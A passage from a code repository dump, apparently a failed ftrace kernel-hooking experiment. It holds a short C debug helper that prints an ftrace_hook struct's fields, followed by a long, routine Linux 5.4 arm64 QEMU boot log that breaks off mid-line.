0000000000000000 17 | [ 343.454163] debug: ftrace_set_filter_ip failed 18 | [ 343.454163] debug: fh_install_hook failed 19 | -------------------------------------------------------------------------------- /ftrace_hook_epic_fail/old/debug.h: -------------------------------------------------------------------------------- 1 | struct ftrace_hook { 2 | const char *name; 3 | void *new; 4 | void *orig; 5 | 6 | uintptr_t addr; 7 | struct ftrace_ops ops; 8 | }; 9 | 10 | void debug_fh_hook(struct ftrace_hook *hook) { 11 | if (!hook) { 12 | pr_info("debug: fh_hook NULL\n"); 13 | return; 14 | } 15 | 16 | pr_info("debug: fh_hook.name %s\n", hook->name); 17 | pr_info("debug: fh_hook.new %p\n", hook->new); 18 | pr_info("debug: fh_hook.orig %p\n", hook->orig); 19 | pr_info("debug: fh_hook.addr %p\n", hook->addr); 20 | 21 | pr_info("debug: fh_hook.ops.func %p\n", hook->ops.func); 22 | pr_info("debug: fh_hook.ops.flags %p\n", hook->ops.flags); 23 | pr_info("debug: fh_hook.ops.private %p\n", hook->ops.private); 24 | } 25 | -------------------------------------------------------------------------------- /ftrace_hook_epic_fail/old/err.txt: -------------------------------------------------------------------------------- 1 | [ 0.000000] Booting Linux on physical CPU 0x0000000000 [0x00000000] 2 | [ 0.000000] Linux version 5.4.0-109-generic (buildd@bos02-arm64-052) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #123-Ubuntu SMP Fri Apr 8 09:12:14 UTC 2022 (Ubuntu 5.4.0-109.123-generic 5.4.178) 3 | [ 0.000000] efi: Getting EFI parameters from FDT: 4 | [ 0.000000] efi: EFI v2.70 by EDK II 5 | [ 0.000000] efi: SMBIOS 3.0=0x13f810000 MEMATTR=0x13e80d018 ACPI 2.0=0x13c150018 MOKvar=0x13e81b000 RNG=0x13f91bb98 MEMRESERVE=0x13c481718 6 | [ 0.000000] efi: seeding entropy pool 7 | [ 0.000000] random: fast init done 8 | [ 0.000000] secureboot: Secure boot disabled 9 | [ 0.000000] cma: Reserved 32 MiB at 0x00000000fe000000 10 | [ 0.000000] ACPI: Early table checksum verification disabled 11 | [ 0.000000] ACPI: RSDP 0x000000013C150018 000024 (v02 BOCHS ) 12 | [ 0.000000] ACPI: XSDT 0x000000013C15FE98 00006C (v01 BOCHS BXPC 00000001 01000013) 13 | [ 0.000000] ACPI: FACP 0x000000013C15FA98 00010C (v05 BOCHS BXPC 00000001 BXPC 00000001) 14 | [ 0.000000] ACPI: DSDT 0x000000013C157518 0014E4 (v02 BOCHS BXPC 00000001 BXPC 00000001) 15 | [ 0.000000] ACPI: APIC 0x000000013C15D898 0002BC (v03 BOCHS BXPC 00000001 BXPC 00000001) 16 | [ 0.000000] ACPI: PPTT 0x000000013C15E718 0000D8 (v02 BOCHS BXPC 00000001 BXPC 00000001) 17 | [ 0.000000] ACPI: GTDT 0x000000013C15E818 000060 (v02 BOCHS BXPC 00000001 BXPC 00000001) 18 | [ 0.000000] ACPI: MCFG 0x000000013C15E918 00003C (v01 BOCHS BXPC 00000001 BXPC 00000001) 19 | [ 0.000000] ACPI: SPCR 0x000000013C15FF98 000050 (v02 BOCHS BXPC 00000001 BXPC 00000001) 20 | [ 0.000000] ACPI: DBG2 0x000000013C15FC18 000057 (v00 BOCHS BXPC 00000001 BXPC 00000001) 21 | [ 0.000000] ACPI: IORT 0x000000013C15FC98 000080 (v03 BOCHS BXPC 00000001 BXPC 00000001) 22 | [ 0.000000] ACPI: BGRT 0x000000013C15FD98 000038 (v01 INTEL EDK2 00000002 01000013) 23 | [ 0.000000] ACPI: SPCR: console: pl011,mmio,0x9000000,9600 24 | [ 0.000000] ACPI: NUMA: Failed to initialise from firmware 25 | [ 0.000000] NUMA: Faking a node at [mem 0x0000000040000000-0x000000013fffffff] 26 | [ 0.000000] NUMA: NODE_DATA [mem 0x13f64df40-0x13f650fff] 27 | [ 0.000000] Zone ranges: 28 | [ 0.000000] DMA32 [mem 0x0000000040000000-0x00000000ffffffff] 29 | [ 0.000000] Normal [mem 0x0000000100000000-0x000000013fffffff] 30 | [ 0.000000] Movable zone start for each node 31 | [ 0.000000] Early memory node ranges 32 | [ 0.000000] node 0: [mem 0x0000000040000000-0x000000013bcfffff] 33 | [ 0.000000] node 0: [mem 0x000000013bd00000-0x000000013bffffff] 34 | [ 0.000000] node 0: [mem 0x000000013c000000-0x000000013c15ffff] 35 | [ 0.000000] node 0: [mem 0x000000013c160000-0x000000013c47ffff] 36 | [ 0.000000] node 0: [mem 0x000000013c480000-0x000000013f75ffff] 37 | [ 0.000000] node 0: [mem 0x000000013f760000-0x000000013f7effff] 38 | [ 0.000000] node 0: [mem 0x000000013f7f0000-0x000000013f7fffff] 39 | [ 0.000000] node 0: [mem 0x000000013f800000-0x000000013f91ffff] 40 | [ 0.000000] node 0: [mem 0x000000013f920000-0x000000013fffffff] 41 | [ 0.000000] Zeroed struct page in unavailable ranges: 560 pages 42 | [ 0.000000] Initmem setup node 0 [mem 0x0000000040000000-0x000000013fffffff] 43 | [ 0.000000] On node 0 totalpages: 1048576 44 | [ 0.000000] DMA32 zone: 12288 pages used for memmap 45 | [ 0.000000] DMA32 zone: 0 pages reserved 46 | [ 0.000000] DMA32 zone: 786432 pages, LIFO batch:63 47 | [ 0.000000] Normal zone: 4096 pages used for memmap 48 | [ 0.000000] Normal zone: 262144 pages, LIFO batch:63 49 | [ 0.000000] psci: probing for conduit method from ACPI. 50 | [ 0.000000] psci: PSCIv0.2 detected in firmware. 51 | [ 0.000000] psci: Using standard PSCI v0.2 function IDs 52 | [ 0.000000] psci: Trusted OS migration not required 53 | [ 0.000000] ACPI: SRAT not present 54 | [ 0.000000] percpu: Embedded 33 pages/cpu s94424 r8192 d32552 u135168 55 | [ 0.000000] pcpu-alloc: s94424 r8192 d32552 u135168 alloc=33*4096 56 | [ 0.000000] pcpu-alloc: [0] 0 [0] 1 [0] 2 [0] 3 [0] 4 [0] 5 [0] 6 [0] 7 57 | [ 0.000000] Detected PIPT I-cache on CPU0 58 | [ 0.000000] CPU features: kernel page table isolation forced ON by KASLR 59 | [ 0.000000] CPU features: detected: Kernel page table isolation (KPTI) 60 | [ 0.000000] Built 1 zonelists, mobility grouping on. Total pages: 1032192 61 | [ 0.000000] Policy zone: Normal 62 | [ 0.000000] Kernel command line: BOOT_IMAGE=/boot/vmlinuz-5.4.0-109-generic root=UUID=0db57500-fdcc-4af2-8691-d91b05f269d0 ro 63 | [ 0.000000] Dentry cache hash table entries: 524288 (order: 10, 4194304 bytes, linear) 64 | [ 0.000000] Inode-cache hash table entries: 262144 (order: 9, 2097152 bytes, linear) 65 | [ 0.000000] mem auto-init: stack:off, heap alloc:on, heap free:off 66 | [ 0.000000] software IO TLB: mapped [mem 0xfa000000-0xfe000000] (64MB) 67 | [ 0.000000] Memory: 3882204K/4194304K available (14076K kernel code, 2244K rwdata, 11536K rodata, 6976K init, 1114K bss, 279332K reserved, 32768K cma-reserved) 68 | [ 0.000000] random: get_random_u64 called from kmem_cache_open+0x3c/0x240 with crng_init=1 69 | [ 0.000000] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=8, Nodes=1 70 | [ 0.000000] ftrace: allocating 46087 entries in 181 pages 71 | [ 0.000000] rcu: Hierarchical RCU implementation. 72 | [ 0.000000] rcu: RCU restricting CPUs from NR_CPUS=256 to nr_cpu_ids=8. 73 | [ 0.000000] Tasks RCU enabled. 74 | [ 0.000000] rcu: RCU calculated value of scheduler-enlistment delay is 25 jiffies. 75 | [ 0.000000] rcu: Adjusting geometry for rcu_fanout_leaf=16, nr_cpu_ids=8 76 | [ 0.000000] NR_IRQS: 64, nr_irqs: 64, preallocated irqs: 0 77 | [ 0.000000] GICv2m: ACPI overriding V2M MSI_TYPER (base:80, num:64) 78 | [ 0.000000] GICv2m: range[mem 0x08020000-0x08020fff], SPI[80:143] 79 | [ 0.000000] arch_timer: cp15 timer(s) running at 24.00MHz (virt). 80 | [ 0.000000] clocksource: arch_sys_counter: mask: 0xffffffffffffff max_cycles: 0x588fe9dc0, max_idle_ns: 440795202592 ns 81 | [ 0.000000] sched_clock: 56 bits at 24MHz, resolution 41ns, wraps every 4398046511097ns 82 | [ 0.000019] Console: colour dummy device 80x25 83 | [ 0.000035] ACPI: Core revision 20190816 84 | [ 0.000068] Calibrating delay loop (skipped), value calculated using timer frequency.. 48.00 BogoMIPS (lpj=96000) 85 | [ 0.000069] pid_max: default: 32768 minimum: 301 86 | [ 0.000092] LSM: Security Framework initializing 87 | [ 0.000096] Yama: becoming mindful. 88 | [ 0.000112] AppArmor: AppArmor initialized 89 | [ 0.000135] Mount-cache hash table entries: 8192 (order: 4, 65536 bytes, linear) 90 | [ 0.000137] Mountpoint-cache hash table entries: 8192 (order: 4, 65536 bytes, linear) 91 | [ 0.000149] *** VALIDATE tmpfs *** 92 | [ 0.000254] *** VALIDATE proc *** 93 | [ 0.000284] *** VALIDATE cgroup1 *** 94 | [ 0.000285] *** VALIDATE cgroup2 *** 95 | [ 0.000383] ASID allocator initialised with 128 entries 96 | [ 0.000391] rcu: Hierarchical SRCU implementation. 97 | [ 0.000647] Remapping and enabling EFI services. 98 | [ 0.000825] smp: Bringing up secondary CPUs ... 99 | [ 0.001005] Detected PIPT I-cache on CPU1 100 | [ 0.001055] CPU1: Booted secondary processor 0x0000000001 [0x00000000] 101 | [ 0.001335] Detected PIPT I-cache on CPU2 102 | [ 0.001393] CPU2: Booted secondary processor 0x0000000002 [0x00000000] 103 | [ 0.001614] Detected PIPT I-cache on CPU3 104 | [ 0.001682] CPU3: Booted secondary processor 0x0000000003 [0x00000000] 105 | [ 0.001902] Detected PIPT I-cache on CPU4 106 | [ 0.001999] CPU4: Booted secondary processor 0x0000000004 [0x00000000] 107 | [ 0.002272] Detected PIPT I-cache on CPU5 108 | [ 0.002374] CPU5: Booted secondary processor 0x0000000005 [0x00000000] 109 | [ 0.002659] Detected PIPT I-cache on CPU6 110 | [ 0.002777] CPU6: Booted secondary processor 0x0000000006 [0x00000000] 111 | [ 0.003053] Detected PIPT I-cache on CPU7 112 | [ 0.003182] CPU7: Booted secondary processor 0x0000000007 [0x00000000] 113 | [ 0.003259] smp: Brought up 1 node, 8 CPUs 114 | [ 0.003262] SMP: Total of 8 processors activated. 115 | [ 0.003263] CPU features: detected: Privileged Access Never 116 | [ 0.003263] CPU features: detected: LSE atomic instructions 117 | [ 0.003264] CPU features: detected: User Access Override 118 | [ 0.003264] CPU features: detected: Common not Private translations 119 | [ 0.003265] CPU features: detected: Data cache clean to Point of Persistence 120 | [ 0.003265] CPU features: detected: RAS Extension Support 121 | [ 0.003266] CPU features: detected: Data cache clean to the PoU not required for I/D coherence 122 | [ 0.003266] CPU features: detected: CRC32 instructions 123 | [ 0.003267] CPU features: detected: Speculation barrier (SB) 124 | [ 0.003267] CPU features: detected: Data cache clean to Point of Deep Persistence 125 | [ 0.078099] CPU: All CPU(s) started at EL1 126 | [ 0.078823] alternatives: patching kernel code 127 | [ 0.085168] devtmpfs: initialized 128 | [ 0.085722] Registered cp15_barrier emulation handler 129 | [ 0.085724] setend instruction emulation is not supported on this system 130 | [ 0.086021] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 7645041785100000 ns 131 | [ 0.086026] futex hash table entries: 2048 (order: 5, 131072 bytes, linear) 132 | [ 0.086144] pinctrl core: initialized pinctrl subsystem 133 | [ 0.086281] SMBIOS 3.0.0 present. 134 | [ 0.086284] DMI: QEMU QEMU Virtual Machine, BIOS 0.0.0 02/06/2015 135 | [ 0.086629] NET: Registered protocol family 16 136 | [ 0.087826] DMA: preallocated 256 KiB pool for atomic allocations 137 | [ 0.087828] audit: initializing netlink subsys (disabled) 138 | [ 0.087957] audit: type=2000 audit(0.084:1): state=initialized audit_enabled=0 res=1 139 | [ 0.088028] cpuidle: using governor ladder 140 | [ 0.088030] cpuidle: using governor menu 141 | [ 0.088044] hw-breakpoint: found 6 breakpoint and 4 watchpoint registers. 142 | [ 0.088813] ACPI: bus type PCI registered 143 | [ 0.088815] acpiphp: ACPI Hot Plug PCI Controller Driver version: 0.5 144 | [ 0.088844] Serial: AMBA PL011 UART driver 145 | [ 0.090049] HugeTLB registered 1.00 GiB page size, pre-allocated 0 pages 146 | [ 0.090050] HugeTLB registered 32.0 MiB page size, pre-allocated 0 pages 147 | [ 0.090051] HugeTLB registered 2.00 MiB page size, pre-allocated 0 pages 148 | [ 0.090051] HugeTLB registered 64.0 KiB page size, pre-allocated 0 pages 149 | [ 0.098472] ACPI: Added _OSI(Module Device) 150 | [ 0.098473] ACPI: Added _OSI(Processor Device) 151 | [ 0.098474] ACPI: Added _OSI(3.0 _SCP Extensions) 152 | [ 0.098474] ACPI: Added _OSI(Processor Aggregator Device) 153 | [ 0.098475] ACPI: Added _OSI(Linux-Dell-Video) 154 | [ 0.098476] ACPI: Added _OSI(Linux-Lenovo-NV-HDMI-Audio) 155 | [ 0.098476] ACPI: Added _OSI(Linux-HPI-Hybrid-Graphics) 156 | [ 0.098809] ACPI: 1 ACPI AML tables successfully acquired and loaded 157 | [ 0.098964] ACPI: Interpreter enabled 158 | [ 0.098965] ACPI: Using GIC for interrupt routing 159 | [ 0.098970] ACPI: MCFG table detected, 1 entries 160 | [ 0.099815] ARMH0011:00: ttyAMA0 at MMIO 0x9000000 (irq = 4, base_baud = 0) is a SBSA 161 | [ 0.125021] printk: console [ttyAMA0] enabled 162 | [ 0.125817] ACPI: PCI Root Bridge [PCI0] (domain 0000 [bus 00-0f]) 163 | [ 0.125984] acpi PNP0A08:00: _OSC: OS supports [ExtendedConfig ASPM ClockPM Segments MSI HPX-Type3] 164 | [ 0.126255] acpi PNP0A08:00: _OSC: platform does not support [LTR] 165 | [ 0.126439] acpi PNP0A08:00: _OSC: OS now controls [PCIeHotplug SHPCHotplug PME AER PCIeCapability] 166 | [ 0.126727] acpi PNP0A08:00: ECAM area [mem 0x3f000000-0x3fffffff] reserved by PNP0C02:00 167 | [ 0.126939] acpi PNP0A08:00: ECAM at [mem 0x3f000000-0x3fffffff] for [bus 00-0f] 168 | [ 0.127131] Remapped I/O 0x000000003eff0000 to [io 0x0000-0xffff window] 169 | [ 0.127330] PCI host bridge to bus 0000:00 170 | [ 0.127434] pci_bus 0000:00: root bus resource [mem 0x10000000-0x3efeffff window] 171 | [ 0.127621] pci_bus 0000:00: root bus resource [io 0x0000-0xffff window] 172 | [ 0.127791] pci_bus 0000:00: root bus resource [bus 00-0f] 173 | [ 0.127943] pci 0000:00:00.0: [1b36:0008] type 00 class 0x060000 174 | [ 0.128181] pci 0000:00:01.0: [1af4:1050] type 00 class 0x038000 175 | [ 0.128871] pci 0000:00:01.0: reg 0x14: [mem 0x10060000-0x10060fff] 176 | [ 0.129897] pci 0000:00:01.0: reg 0x20: [mem 0x10050000-0x10053fff 64bit pref] 177 | [ 0.130697] pci 0000:00:02.0: [1af4:1005] type 00 class 0x00ff00 178 | [ 0.131063] pci 0000:00:02.0: reg 0x10: [io 0x0140-0x015f] 179 | [ 0.131792] pci 0000:00:02.0: reg 0x20: [mem 0x1004c000-0x1004ffff 64bit pref] 180 | [ 0.132212] pci 0000:00:03.0: [8086:2668] type 00 class 0x040300 181 | [ 0.132379] pci 0000:00:03.0: reg 0x10: [mem 0x10058000-0x1005bfff] 182 | [ 0.132626] pci 0000:00:04.0: [1033:0194] type 00 class 0x0c0330 183 | [ 0.132798] pci 0000:00:04.0: reg 0x10: [mem 0x10054000-0x10057fff 64bit] 184 | [ 0.133136] pci 0000:00:05.0: [8086:293a] type 00 class 0x0c0320 185 | [ 0.133480] pci 0000:00:05.0: reg 0x10: [mem 0x1005f000-0x1005ffff] 186 | [ 0.134610] pci 0000:00:06.0: [8086:2934] type 00 class 0x0c0300 187 | [ 0.135437] pci 0000:00:06.0: reg 0x20: [io 0x0120-0x013f] 188 | [ 0.136101] pci 0000:00:07.0: [8086:2935] type 00 class 0x0c0300 189 | [ 0.136988] pci 0000:00:07.0: reg 0x20: [io 0x0100-0x011f] 190 | [ 0.137424] pci 0000:00:08.0: [8086:2936] type 00 class 0x0c0300 191 | [ 0.138274] pci 0000:00:08.0: reg 0x20: [io 0x00e0-0x00ff] 192 | [ 0.141018] pci 0000:00:09.0: [1af4:1001] type 00 class 0x010000 193 | [ 0.141322] pci 0000:00:09.0: reg 0x10: [io 0x0000-0x007f] 194 | [ 0.141583] pci 0000:00:09.0: reg 0x14: [mem 0x1005e000-0x1005efff] 195 | [ 0.142122] pci 0000:00:09.0: reg 0x20: [mem 0x10048000-0x1004bfff 64bit pref] 196 | [ 0.142520] pci 0000:00:0a.0: [1af4:1000] type 00 class 0x020000 197 | [ 0.142695] pci 0000:00:0a.0: reg 0x10: [io 0x00c0-0x00df] 198 | [ 0.142841] pci 0000:00:0a.0: reg 0x14: [mem 0x1005d000-0x1005dfff] 199 | [ 0.143021] pci 0000:00:0a.0: reg 0x20: [mem 0x10044000-0x10047fff 64bit pref] 200 | [ 0.143208] pci 0000:00:0a.0: reg 0x30: [mem 0xfffc0000-0xffffffff pref] 201 | [ 0.143529] pci 0000:00:0b.0: [1af4:1003] type 00 class 0x078000 202 | [ 0.143712] pci 0000:00:0b.0: reg 0x10: [io 0x0080-0x00bf] 203 | [ 0.143859] pci 0000:00:0b.0: reg 0x14: [mem 0x1005c000-0x1005cfff] 204 | [ 0.144040] pci 0000:00:0b.0: reg 0x20: [mem 0x10040000-0x10043fff 64bit pref] 205 | [ 0.144369] pci 0000:00:0a.0: BAR 6: assigned [mem 0x10000000-0x1003ffff pref] 206 | [ 0.144553] pci 0000:00:01.0: BAR 4: assigned [mem 0x10040000-0x10043fff 64bit pref] 207 | [ 0.145011] pci 0000:00:02.0: BAR 4: assigned [mem 0x10044000-0x10047fff 64bit pref] 208 | [ 0.145217] pci 0000:00:03.0: BAR 0: assigned [mem 0x10048000-0x1004bfff] 209 | [ 0.145393] pci 0000:00:04.0: BAR 0: assigned [mem 0x1004c000-0x1004ffff 64bit] 210 | [ 0.145587] pci 0000:00:09.0: BAR 4: assigned [mem 0x10050000-0x10053fff 64bit pref] 211 | [ 0.146065] pci 0000:00:0a.0: BAR 4: assigned [mem 0x10054000-0x10057fff 64bit pref] 212 | [ 0.146273] pci 0000:00:0b.0: BAR 4: assigned [mem 0x10058000-0x1005bfff 64bit pref] 213 | [ 0.146478] pci 0000:00:01.0: BAR 1: assigned [mem 0x1005c000-0x1005cfff] 214 | [ 0.146762] pci 0000:00:05.0: BAR 0: assigned [mem 0x1005d000-0x1005dfff] 215 | [ 0.147043] pci 0000:00:09.0: BAR 1: assigned [mem 0x1005e000-0x1005efff] 216 | [ 0.147220] pci 0000:00:0a.0: BAR 1: assigned [mem 0x1005f000-0x1005ffff] 217 | [ 0.147393] pci 0000:00:0b.0: BAR 1: assigned [mem 0x10060000-0x10060fff] 218 | [ 0.147606] pci 0000:00:09.0: BAR 0: assigned [io 0x1000-0x107f] 219 | [ 0.147890] pci 0000:00:0b.0: BAR 0: assigned [io 0x1080-0x10bf] 220 | [ 0.148047] pci 0000:00:02.0: BAR 0: assigned [io 0x10c0-0x10df] 221 | [ 0.148338] pci 0000:00:06.0: BAR 4: assigned [io 0x10e0-0x10ff] 222 | [ 0.148638] pci 0000:00:07.0: BAR 4: assigned [io 0x1100-0x111f] 223 | [ 0.148931] pci 0000:00:08.0: BAR 4: assigned [io 0x1120-0x113f] 224 | [ 0.149199] pci 0000:00:0a.0: BAR 0: assigned [io 0x1140-0x115f] 225 | [ 0.149357] pci_bus 0000:00: resource 4 [mem 0x10000000-0x3efeffff window] 226 | [ 0.149529] pci_bus 0000:00: resource 5 [io 0x0000-0xffff window] 227 | [ 0.149712] ACPI: PCI Interrupt Link [GSI0] (IRQs *35) 228 | [ 0.149848] ACPI: PCI Interrupt Link [GSI1] (IRQs *36) 229 | [ 0.149980] ACPI: PCI Interrupt Link [GSI2] (IRQs *37) 230 | [ 0.150273] ACPI: PCI Interrupt Link [GSI3] (IRQs *38) 231 | [ 0.150679] iommu: Default domain type: Translated 232 | [ 0.151714] SCSI subsystem initialized 233 | [ 0.151906] libata version 3.00 loaded. 234 | [ 0.151973] vgaarb: loaded 235 | [ 0.152054] ACPI: bus type USB registered 236 | [ 0.152164] usbcore: registered new interface driver usbfs 237 | [ 0.152308] usbcore: registered new interface driver hub 238 | [ 0.152444] usbcore: registered new device driver usb 239 | [ 0.152600] pps_core: LinuxPPS API ver. 1 registered 240 | [ 0.152726] pps_core: Software ver. 5.3.6 - Copyright 2005-2007 Rodolfo Giometti 241 | [ 0.152972] PTP clock support registered 242 | [ 0.153222] EDAC MC: Ver: 3.0.0 243 | [ 0.153719] Registered efivars operations 244 | [ 0.155059] NetLabel: Initializing 245 | [ 0.155342] NetLabel: domain hash size = 128 246 | [ 0.155624] NetLabel: protocols = UNLABELED CIPSOv4 CALIPSO 247 | [ 0.155776] NetLabel: unlabeled traffic allowed by default 248 | [ 0.156582] clocksource: Switched to clocksource arch_sys_counter 249 | [ 0.164851] *** VALIDATE bpf *** 250 | [ 0.164975] VFS: Disk quotas dquot_6.6.0 251 | [ 0.165084] VFS: Dquot-cache hash table entries: 512 (order 0, 4096 bytes) 252 | [ 0.165273] *** VALIDATE ramfs *** 253 | [ 0.165360] *** VALIDATE hugetlbfs *** 254 | [ 0.165520] AppArmor: AppArmor Filesystem Enabled 255 | [ 0.165658] pnp: PnP ACPI init 256 | [ 0.165785] system 00:00: [mem 0x3f000000-0x3fffffff window] could not be reserved 257 | [ 0.165981] system 00:00: Plug and Play ACPI device, IDs PNP0c02 (active) 258 | [ 0.165982] pnp: PnP ACPI: found 1 devices 259 | [ 0.170580] thermal_sys: Registered thermal governor 'fair_share' 260 | [ 0.170581] thermal_sys: Registered thermal governor 'bang_bang' 261 | [ 0.170735] thermal_sys: Registered thermal governor 'step_wise' 262 | [ 0.170890] thermal_sys: Registered thermal governor 'user_space' 263 | [ 0.171783] thermal_sys: Registered thermal governor 'power_allocator' 264 | [ 0.172000] NET: Registered protocol family 2 265 | [ 0.172315] IP idents hash table entries: 65536 (order: 7, 524288 bytes, linear) 266 | [ 0.173456] tcp_listen_portaddr_hash hash table entries: 2048 (order: 3, 32768 bytes, linear) 267 | [ 0.173715] TCP established hash table entries: 32768 (order: 6, 262144 bytes, linear) 268 | [ 0.173964] TCP bind hash table entries: 32768 (order: 7, 524288 bytes, linear) 269 | [ 0.174193] TCP: Hash tables configured (established 32768 bind 32768) 270 | [ 0.174375] UDP hash table entries: 2048 (order: 4, 65536 bytes, linear) 271 | [ 0.174549] UDP-Lite hash table entries: 2048 (order: 4, 65536 bytes, linear) 272 | [ 0.174757] NET: Registered protocol family 1 273 | [ 0.174873] NET: Registered protocol family 44 274 | [ 0.175005] pci 0000:00:04.0: enabling device (0000 -> 0002) 275 | [ 0.175704] PCI: CLS 0 bytes, default 64 276 | [ 0.175841] Trying to unpack rootfs image as initramfs... 277 | [ 0.398153] Freeing initrd memory: 88164K 278 | [ 0.398768] kvm [1]: HYP mode not available 279 | [ 0.399042] Initialise system trusted keyrings 280 | [ 0.399165] Key type blacklist registered 281 | [ 0.399356] workingset: timestamp_bits=40 max_order=20 bucket_order=0 282 | [ 0.400044] zbud: loaded 283 | [ 0.400303] squashfs: version 4.0 (2009/01/31) Phillip Lougher 284 | [ 0.400722] fuse: init (API version 7.31) 285 | [ 0.400838] *** VALIDATE fuse *** 286 | [ 0.400922] *** VALIDATE fuse *** 287 | [ 0.401126] Platform Keyring initialized 288 | [ 0.405847] Key type asymmetric registered 289 | [ 0.405962] Asymmetric key parser 'x509' registered 290 | [ 0.406128] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 243) 291 | [ 0.406431] io scheduler mq-deadline registered 292 | [ 0.407549] shpchp: Standard Hot Plug PCI Controller Driver version: 0.4 293 | [ 0.408386] efifb: probing for efifb 294 | [ 0.408733] efifb: framebuffer at 0x13bd00000, using 1876k, total 1875k 295 | [ 0.408923] efifb: mode is 800x600x32, linelength=3200, pages=1 296 | [ 0.409073] efifb: scrolling: redraw 297 | [ 0.409164] efifb: Truecolor: size=8:8:8:8, shift=24:16:8:0 298 | [ 0.409395] fbcon: Deferring console take-over 299 | [ 0.409507] fb0: EFI VGA frame buffer device 300 | [ 0.409818] input: Power Button as /devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0C:00/input/input0 301 | [ 0.410064] ACPI: Power Button [PWRB] 302 | [ 0.411188] PCI Interrupt Link [GSI1] enabled at IRQ 36 303 | [ 0.411557] PCI Interrupt Link [GSI2] enabled at IRQ 37 304 | [ 0.411695] virtio-pci 0000:00:02.0: enabling device (0005 -> 0007) 305 | [ 0.412151] virtio-pci 0000:00:09.0: enabling device (0005 -> 0007) 306 | [ 0.412699] virtio-pci 0000:00:0a.0: enabling device (0000 -> 0003) 307 | [ 0.413501] PCI Interrupt Link [GSI3] enabled at IRQ 38 308 | [ 0.413639] virtio-pci 0000:00:0b.0: enabling device (0000 -> 0003) 309 | [ 0.414460] Serial: 8250/16550 driver, 32 ports, IRQ sharing enabled 310 | [ 0.417263] msm_serial: driver initialized 311 | [ 0.556852] loop: module loaded 312 | [ 0.557410] tun: Universal TUN/TAP device driver, 1.6 313 | [ 0.557724] PPP generic driver version 2.4.2 314 | [ 0.557947] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver 315 | [ 0.558114] ehci-pci: EHCI PCI platform driver 316 | [ 0.558330] PCI Interrupt Link [GSI0] enabled at IRQ 35 317 | [ 0.558682] ehci-pci 0000:00:05.0: EHCI Host Controller 318 | [ 0.558818] ehci-pci 0000:00:05.0: new USB bus registered, assigned bus number 1 319 | [ 0.559065] ehci-pci 0000:00:05.0: irq 37, io mem 0x1005d000 320 | [ 0.575692] ehci-pci 0000:00:05.0: USB 2.0 started, EHCI 1.00 321 | [ 0.575882] usb usb1: New USB device found, idVendor=1d6b, idProduct=0002, bcdDevice= 5.04 322 | [ 0.576090] usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1 323 | [ 0.576271] usb usb1: Product: EHCI Host Controller 324 | [ 0.576394] usb usb1: Manufacturer: Linux 5.4.0-109-generic ehci_hcd 325 | [ 0.576554] usb usb1: SerialNumber: 0000:00:05.0 326 | [ 0.576864] hub 1-0:1.0: USB hub found 327 | [ 0.576963] hub 1-0:1.0: 6 ports detected 328 | [ 0.577157] ehci-orion: EHCI orion driver 329 | [ 0.577314] ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver 330 | [ 0.577474] ohci-pci: OHCI PCI platform driver 331 | [ 0.577598] uhci_hcd: USB Universal Host Controller Interface driver 332 | [ 0.578031] uhci_hcd 0000:00:06.0: UHCI Host Controller 333 | [ 0.578167] uhci_hcd 0000:00:06.0: new USB bus registered, assigned bus number 2 334 | [ 0.578359] uhci_hcd 0000:00:06.0: detected 2 ports 335 | [ 0.578522] uhci_hcd 0000:00:06.0: irq 39, io base 0x000010e0 336 | [ 0.578703] usb usb2: New USB device found, idVendor=1d6b, idProduct=0001, bcdDevice= 5.04 337 | [ 0.579690] usb usb2: New USB device strings: Mfr=3, Product=2, SerialNumber=1 338 | [ 0.579874] usb usb2: Product: UHCI Host Controller 339 | [ 0.580037] usb usb2: Manufacturer: Linux 5.4.0-109-generic uhci_hcd 340 | [ 0.580197] usb usb2: SerialNumber: 0000:00:06.0 341 | [ 0.580491] hub 2-0:1.0: USB hub found 342 | [ 0.580752] hub 2-0:1.0: 2 ports detected 343 | [ 0.581208] uhci_hcd 0000:00:07.0: UHCI Host Controller 344 | [ 0.581342] uhci_hcd 0000:00:07.0: new USB bus registered, assigned bus number 3 345 | [ 0.581532] uhci_hcd 0000:00:07.0: detected 2 ports 346 | [ 0.581676] uhci_hcd 0000:00:07.0: irq 37, io base 0x00001100 347 | [ 0.581849] usb usb3: New USB device found, idVendor=1d6b, idProduct=0001, bcdDevice= 5.04 348 | [ 0.582146] usb usb3: New USB device strings: Mfr=3, Product=2, SerialNumber=1 349 | [ 0.582329] usb usb3: Product: UHCI Host Controller 350 | [ 0.582453] usb usb3: Manufacturer: Linux 5.4.0-109-generic uhci_hcd 351 | [ 0.582623] usb usb3: SerialNumber: 0000:00:07.0 352 | [ 0.582855] hub 3-0:1.0: USB hub found 353 | [ 0.583435] hub 3-0:1.0: 2 ports detected 354 | [ 0.584062] uhci_hcd 0000:00:08.0: UHCI Host Controller 355 | [ 0.584412] uhci_hcd 0000:00:08.0: new USB bus registered, assigned bus number 4 356 | [ 0.584828] uhci_hcd 0000:00:08.0: detected 2 ports 357 | [ 0.584973] uhci_hcd 0000:00:08.0: irq 39, io base 0x00001120 358 | [ 0.585147] usb usb4: New USB device found, idVendor=1d6b, idProduct=0001, bcdDevice= 5.04 359 | [ 0.585358] usb usb4: New USB device strings: Mfr=3, Product=2, SerialNumber=1 360 | [ 0.585560] usb usb4: Product: UHCI Host Controller 361 | [ 0.585692] usb usb4: Manufacturer: Linux 5.4.0-109-generic uhci_hcd 362 | [ 0.585857] usb usb4: SerialNumber: 0000:00:08.0 363 | [ 0.586078] hub 4-0:1.0: USB hub found 364 | [ 0.586175] hub 4-0:1.0: 2 ports detected 365 | [ 0.586551] xhci_hcd 0000:00:04.0: xHCI Host Controller 366 | [ 0.586686] xhci_hcd 0000:00:04.0: new USB bus registered, assigned bus number 5 367 | [ 0.586976] xhci_hcd 0000:00:04.0: hcc params 0x00080001 hci version 0x100 quirks 0x0000000000000014 368 | [ 0.587653] xhci_hcd 0000:00:04.0: xHCI Host Controller 369 | [ 0.587786] xhci_hcd 0000:00:04.0: new USB bus registered, assigned bus number 6 370 | [ 0.587973] xhci_hcd 0000:00:04.0: Host supports USB 3.0 SuperSpeed 371 | [ 